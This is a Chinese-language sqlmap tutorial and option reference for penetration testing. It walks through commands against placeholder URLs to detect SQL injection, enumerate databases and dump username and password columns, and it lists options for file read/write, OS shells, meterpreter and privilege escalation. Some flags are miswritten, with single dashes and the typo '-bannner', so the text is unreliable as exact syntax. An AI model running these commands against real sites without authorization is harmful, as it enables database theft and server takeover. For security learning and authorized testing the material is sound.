sqlmap简介
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
sqlmap支持五种不同的注入模式:
UNION query SQL injection(可联合查询注入) Error-based SQL injection(报错型注入) Boolean-based blind SQL injection(布尔型注入) Time-based blind SQL injection(基于时间延迟注入) Stacked queries SQL injection(可多语句查询注入)
sqlmap使用
检测注入
基本格式:sqlmap -u "http://xxx.xxx.xxx.xxx/?id=1"
默认使用level1检测全部数据库类型。
sqlmap -u "http://xxx.xxx.xxx.xxx/?id=1" -dbms mysql -level 3
指定数据库类型为mysql,级别为3。(共5级,级别越高,检测越全面)
跟随302跳转
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误的信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入。
sqlmap -u "http://xxx.xxx.xx.xx/index.php" --cookie "id=1" -level 2
(只有level达到2时才可以检测到cookie)
从post数据包中注入
可以使用burp等工具来抓包结合sqlmap进行注入:
- 抓包请求文件:
1.浏览器打开目标地址。
2.用burp抓包。
3.将burp抓到的post请求复制到一个txt文件(随便命名,下方用到,如:1.txt)。
4.sqlmap指令:
sqlmap -r 1.txt -f
- burp log 文件:
通过加载burp的日志文件进行扫描注入:
sqlmap -l xxx.txt -f -dbs...
基本注入命令
- 查询数据库:
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" -dbms mysql -level 3 -dbs
- 查询指定数据库中的表:
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" -dbms mysql -level 3 -D 要查的数据库名 -tables
- 查询指定表中的字段:
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" -dbms mysql -level 3 -D 要查的数据库名 -T 表名 -columns
- 查询具体的字段(如:username,password字段):
sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" -dbms mysql -level 3 -D 要查的数据库名 -T 表名 -C "username,password" -dump
常用命令参数
- -is-dba 当前用户权限(是否为root权限)
- -dbs 所有数据库
- -current-db 网站当前数据库
- -users 所有数据库用户
- -current-user 当前数据库用户
- -random-agent 构造随机的user-agent
- -password 数据库密码
- -proxy
http://local:8080
-threads 10(可以自定义线程加速)代理 - -time-sec=TIMESEC DBMS 响应的延迟时间(默认为5秒)
常用选项
Target(目标)
以下至少需要设置其中一个:
- -d DIRECT 直接连接到数据库
- -u url 目标的url
- -c configfile 从INI配置文件中加载选项
- -l LIST 从burp或webscarab代理的日志中解析目标
- -r REQUESTFILE 从一个文件中载入HTTP请求
- -g GOOGLEDORK 处理Google dork的结果作为目标的URL
Request(请求)
这些选项可以用来指定如何连接到目标URL:
- -data=DATA 通过post发送的数据字符串
- -cookie=COOKIE HTTP cookie头
- -cookie-urlencode URL编码生成的cookie注入
- -auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)
- -auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
- -auth-cert=ACERT HTTP认证证书(key_file, cert_file)
- -proxy=PROXY 使用HTTP代理连接到目标URL
- -proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
Enumeration(枚举)
可以用来列举数据库管理系统的信息、表中的结构和数据。
-
-b -bannner 检索数据库管理系统的标识
-
-current-user 检索数据库管理系统当前用户
-
-current-db 检索数据库管理系统当前数据库
-
-is-dba 检测DBMS当前用户是否DBA
-
-users 枚举数据库管理系统用户
-
-passwords 枚举数据库管理系统用户密码哈希
-
-privileges 枚举数据库管理系统用户的权限
-
-roles 枚举数据库管理系统用户的角色
-
-dbs 枚举数据库管理系统数据
-
-D DBname 要进行枚举的指定数据库名
-
-T TBLname 要进行枚举的指定数据库表
-
-tables 枚举的DBMS数据库中的表
-
-columns 枚举DBMS数据库表列
-
-dump 转储数据库管理系统的数据库中的表项
-
-dump-all 转储所有的DBMS数据库表中的条目
-
-search 搜索列(S)、表(S)和数据库名称(S)
-
-C col 要进行枚举的数据库列
-
-U user 用来进行枚举的数据库用户
-
-exclude-sysdbs 枚举时排除系统数据库
-
-level=LEVEL 执行测试的等级(1-5,默认为1,等级最低是,级别越高检测越全面)
Brute force(蛮力)
这些选项用于蛮力检查。
- -common-tables 检查存在共同表
- -common-columns 检查存在共同列
File system access(访问文件系统)
这些选项可以用来访问后端数据库管理系统的底层文件系统:
- -file-read=RFILE 从后端数据库的管理系统文件系统读取文件
- -file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- -file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问)
这些选项用于访问后端数据库管理系统的底层操作系统:
- -os-cmd=OSCMD 执行操作系统命令
- -os-shell 交互式的操作系统的shell
- -os-pwn 获取一个OOB SHELL, meterpreter或VNC
- -os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
- -os-bof 存储过程缓冲区溢出利用
- -priv-esc 数据库进程用户权限提升
Windows注册表访问
这些选项用来访问后端数据库管理系统windows注册表:
- -reg-read 读一个windows注册表项值
- -reg-add 写一个windows注册表项值数据
- -reg-del 删除windows注册表键值
- -reg-key=REGKEY windows注册表键
- -reg-value=REGVAL windows注册表项值
- -reg-data=REGDATA windows注册表值数据
- -reg-type=REGTYPE windows注册表项值类型
Miscellaneous(杂项)
-
-batch 从不询问用户输入,使用所有默认配置
-
-beep 发现SQL注入时提醒